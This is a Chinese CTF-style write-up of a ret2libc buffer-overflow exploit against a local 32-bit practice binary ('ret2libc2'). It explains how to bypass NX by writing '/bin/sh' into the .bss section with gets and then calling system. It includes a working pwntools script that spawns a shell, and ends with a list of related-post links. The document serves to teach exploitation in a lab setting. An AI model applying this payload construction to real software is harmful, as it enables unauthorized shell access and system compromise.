Ret2Libc(2) (有system、无‘/bin/sh’)绕过NX、ASLR
和Ret2Libc(1)一样,先把程序扔进IDA看看代码
和Ret2Libc(1)一样,gets存在溢出漏洞
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
可以看到程序开启了NX,
我的linux已经开启了ASLR
存在system函数,地址为 0x08048490
不存在‘/bin/sh'字段
漏洞利用思路:
程序中既然找不到‘/bin/sh‘,那我们就需要想办法输入进去,恰好用objdump发现存在gets函数 ,地址为0x08048460
而且还存在也就说明,我们可以手动把shellcode输入进去,然后存放进bss段里面,最后把这个bss地址传给system来调用shellcode
1、用gets的地址覆盖函数返回地址
2、构造gets的返回地址,(因为gets输入shellcode后,我们就要调用system函数来getshell,所以gets的返回地址是system函数的调用地址,即system_plt)
3、构造gets需要的参数(就是存放输入字符串的地址,bss段0x804A080)
4、构造system的参数(就是存放输入字符串的地址,bss段0x804A080)
exp:
from pwn import *
bss_addr = 0x0804A080
gets_plt = 0x08048460
sys_plt = 0x08048490io=process('./ret2libc2')
io.recvuntil('What do you think ?')
payload = 'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(bss_addr) + p32(bss_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
Ret2Libc(2) (有system、无‘/bin/sh’)绕过NX、ASLR相关推荐
- Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR
Ret2Libc即控制程序执行libc库中的函数. 通常是返回到某个函数的plt处,或者函数运行时候的实际地址. 下面是一个例子: 可以看出程序gets有一个明显的溢出漏洞 gdb-peda$ che ...
- 解决:/system/bin/sh: /system/bin/test-ndk: not executable: magic 7F45报错
在夜神模拟器运行arm编译器编译出来的可执行文件,结果报错: /system/bin/sh: /system/bin/test-ndk: not executable: magic 7F45查了一下, ...
- Shell-/bin/bash和/bin/sh解释器的误用引起的脚本语法错误
文章目录 生猛干货 背景 问题分析 解决办法 知识点回顾 搞定Linux核心技术 生猛干货 从系统安装到程序员必备的Linux技能,还原真实工作场景,手把手带你实战演练 背景 下面的脚本,在Linux ...
- linux中的 bin sh,Linux-#!/bin/sh理解
#!是一个特殊符号,/bin/sh是用来解释该脚本的的shell路径 #!/bin/sh指该脚本使用/bin/sh来执行 sh只是其中一种解释方式,通过如下命令可以查到支持的shell解释方式: xx ...
- 【Linux】【编译相关】execvp: /bin/sh: Argument list too long问题处理小结
问题背景 execvp: /bin/sh: Argument list too long问题出现的两种情况: 1.make的时候,如编译Linux内核.驱动.Android版本等较长-I.-D选项的情 ...
- linux7crontab启动,CentOS7crontab不执行 报错/bin/sh:root:commandnotfound
使用CentOS7 执行定时脚本,结果提示报错: /bin/sh: root: command not found 问题在于文件 /var/spool/cron/root ,中无需再写root. 修改 ...
- 【PWN · ret2text | ‘/bin/sh‘写在bss段】[HNCTF 2022 Week1]ezr0p32
目录 前言 一.题目 二.解题过程 payload的构造 三.exp 总结 前言 一直在做libc的中规中矩的题目,遇到一题有点老的类型的题目有些陌生.但其实其中原理比较简单,但是涉及到/bin/sh ...
- 浅显易懂 Makefile 入门 (08)— 默认 shell (/bin/sh)、命令回显、make参数(-n 只显示命令但不执行,-s 禁止所有回显)、单行命令、多行命令、并发执行
1. shell 相关 1.1 默认 shell Makefile 所使用的命令是由 shell 命令行组成,他们是一条一条执行的. 多个命令之间要使用分号隔开,Makefile 中的任何命令都要以 ...
- Compiling: main.cpp /bin/sh: g++: not found
Kbuntu用codeblocks编写C程序的时候,编译报错如下: Compiling: main.cpp /bin/sh: g++: not found 解决方法: sudo apt-get ins ...
最新文章
- mysql锁机制总结
- 哈工大计算机学院刘志岩,感知计算研究中心
- 解读SAP Hybris为何获国内B2B用户青睐?
- 【转载】C# ??(问问,问号问号)运算符,可空值(申明加?(问号))的克星
- ACRush 楼天城回忆录
- 进程间通信————有名管道
- 第一章:NHibernate的简介
- Aspect的简单方法拦截
- Linux MySQL主主复制(Replication)(MySQL数据双向同步)配置
- project a vertex along its normal onto a triangle
- Android 屏幕适配:最全面的解决方案
- Android常用工具类 (转)
- java反射加载类_Java反射 - 动态类加载和重载
- html css菜鸟,CSS菜鸟教程阅读笔记
- word自带参考文献标注功能
- 20个2013年最值得关注的网页设计趋势
- linkedin 分享_如何将您的LinkedIn个人资料添加到WordPress
- Attempted read from closed stream.
- 蓝桥杯 时间管理大师
- Intellij IDEA--将Java项目打包为jar包--方法/实例